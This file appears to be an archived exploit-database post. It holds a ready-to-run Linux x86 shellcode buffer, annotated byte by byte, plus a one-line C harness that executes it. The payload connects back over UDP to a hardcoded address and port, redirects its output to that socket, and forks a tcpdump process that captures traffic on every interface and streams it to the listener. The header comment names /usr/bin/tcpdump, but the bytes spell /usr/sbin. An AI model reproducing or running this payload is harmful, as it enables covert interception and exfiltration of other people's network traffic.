96 lines
No EOL
3 KiB
C
96 lines
No EOL
3 KiB
C
/*
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linux/x86 connect-back port UDP/54321 & dup2 &
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fork() & execve() /usr/bin/tcpdump -iany -w- "port ! 54321"
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151 bytes
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by XenoMuta
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_ __ __ ___ __
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| |/ /__ ____ ____ / |/ /_ __/ /_____ _
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| / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/
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/ / __/ / / / /_/ / / / / /_/ / /_/ /_/ /
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/_/|_\___/_/ /_/\____/_/ /_/\__,_/\__/\__,_/
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xenomuta [ arroba ] phreaker [ punto ] net
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http://xenomuta.tuxfamily.org/ - Methylxantina 256mg
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- God bless you all -
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*/
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unsigned char sc[] =
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// <_start>:
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"\x6a\x66" // push $0x66 ; socketcall()
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"\x58" // pop %eax ; para setear el socket
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"\x6a\x01" // push $0x1
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"\x5b" // pop %ebx
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"\x31\xc9" // xor %ecx,%ecx
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"\x51" // push %ecx
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"\x6a\x02" // push $0x2 ; SOCK_DGRAM (udp)
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"\x6a\x02" // push $0x2
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"\x89\xe1" // mov %esp,%ecx
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"\xcd\x80" // int $0x80
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// IP: 127.1.1.1
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"\x68\x7f\x01\x01\x01" // push $0x101017f
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// Port: 54321
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"\x66\x68\xd4\x31" // pushw $0x31d4
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"\x66\x31\xc9" // xor %cx,%cx
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"\x80\xc1\x02" // xadd $0x2,%cl
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"\x66\x51" // push %cx
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"\x89\xe1" // mov %esp,%ecx
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"\x6a\x10" // push $0x10
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"\x51" // push %ecx
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"\x50" // push %eax
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"\x89\xe1" // mov %esp,%ecx
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"\x89\xc6" // mov %eax,%esi
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"\xb0\x66" // mov $0x66,%al ; socketcall ()
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"\x80\xc3\x02" // add $0x2,%bl ; para connect()
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"\xcd\x80" // int $0x80
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"\x87\xde" // xchg %ebx,%esi
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"\x6a\x01" // push $0x1
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"\x59" // pop %ecx
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"\x6a\x3f" // push $0x3f ; dup2(socket, stdout)
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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"\x31\xd2" // xor %edx,%edx
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"\x6a\x02" // push $0x2 ; fork()
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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"\x39\xd0" // cmp %edx,%eax ; el hijo sobrevive
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"\x74\x05" // je 0x4d <_child>
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"\x6a\x01" // push $0x1 ; adios papa
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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//<_child>:
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"\x6a\x0b" // push $0xb ; execve() tcpdump -iany -w- "port ! 54321"
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"\x58" // pop %eax ; sniffea todo menos a mi mismo.
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"\x52" // push %edx
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"\x68\x34\x33\x32\x31" // push $0x31323334 ; "port ! 54321"
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"\x68\x20\x21\x20\x35" // push $0x35202120
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"\x68\x70\x6f\x72\x74" // push $0x74726f70
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"\x89\xe7" // mov %esp,%edi
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"\x52" // push %edx
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"\x6a\x2d" // push $0x2d ; -w- ( escribe a stdout )
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"\x66\x68\x2d\x77" // pushw $0x772d
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"\x89\xe6" // mov %esp,%esi
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"\x52" // push %edx
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"\x6a\x79" // push $0x79 ; -iany (todas las interfaces )
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"\x68\x2d\x69\x61\x6e" // push $0x6e61692d
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"\x89\xe1" // mov %esp,%ecx
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"\x52" // push %edx
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"\x6a\x70" // push $0x70
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"\x68\x70\x64\x75\x6d" // push $0x6d756470 ; /usr/bin/tcpdump
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"\x68\x6e\x2f\x74\x63" // push $0x63742f6e
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"\x68\x2f\x73\x62\x69" // push $0x6962732f
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"\x68\x2f\x75\x73\x72" // push $0x7273752f
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"\x89\xe3" // mov %esp,%ebx
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"\x52" // push %edx
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"\x57" // push %edi
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"\x56" // push %esi
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"\x51" // push %ecx
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"\x53" // push %ebx
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"\x89\xe1" // mov %esp,%ecx
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"\xcd\x80"; // int $0x80
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main(){(*(void (*)()) sc)();}
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// milw0rm.com [2008-11-23]
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